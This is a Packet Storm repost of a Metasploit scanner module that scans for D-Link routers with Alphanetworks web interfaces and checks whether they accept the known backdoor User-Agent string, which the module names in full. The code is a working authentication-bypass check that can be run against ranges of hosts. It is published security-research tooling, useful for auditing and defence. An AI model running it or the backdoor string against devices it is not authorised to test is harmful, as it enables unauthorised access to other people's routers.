exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link User-Agent Backdoor Scanner

D-Link User-Agent Backdoor Scanner
Posted Sep 1, 2024
Authored by Craig Heffner, Michael Messner, juan vazquez | Site metasploit.com

This Metasploit module attempts to find D-Link devices running Alphanetworks web interfaces affected by the backdoor found on the User-Agent header. This Metasploit module has been tested successfully on a DIR-100 device with firmware version v1.13.

tags | exploit, web
SHA-256 | efeab64a2c3b15be8d9ef8a9a4512d08c15268b3a979db52689b008670fee189

D-Link User-Agent Backdoor Scanner

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize
super(
'Name' => 'D-Link User-Agent Backdoor Scanner',
'Description' => %q{
This module attempts to find D-Link devices running Alphanetworks web interfaces affected
by the backdoor found on the User-Agent header. This module has been tested successfully
on a DIR-100 device with firmware version v1.13.
},
'Author' =>
[
'Craig Heffner', # vulnerability discovery
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ]
],
# First documented in detail by Craig, but looks like it's been known
# (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru
'DisclosureDate' => "Oct 12 2013"
)

end

def is_alpha_web_server?
begin
res = send_request_cgi({'uri' => '/'})
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return false
end

# Signatures:
# * httpd-alphanetworks/2.23
# * Alpha_webserv
if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i
return true
end

return false
end

def run_host(ip)

if is_alpha_web_server?
vprint_good("#{ip} - Alphanetworks web server detected")
else
vprint_error("#{ip} - Alphanetworks web server doesn't detected")
return
end

begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'agent' => 'xmlset_roodkcableoj28840ybtide'
})
rescue ::Rex::ConnectionError
vprint_error("#{ip}:#{rport} - Failed to connect to the web server")
return
end

# DIR-100 device with firmware version v1.13
# not sure if this matches on other devices
# TODO: Testing on other devices
if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/
print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"")
end

end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close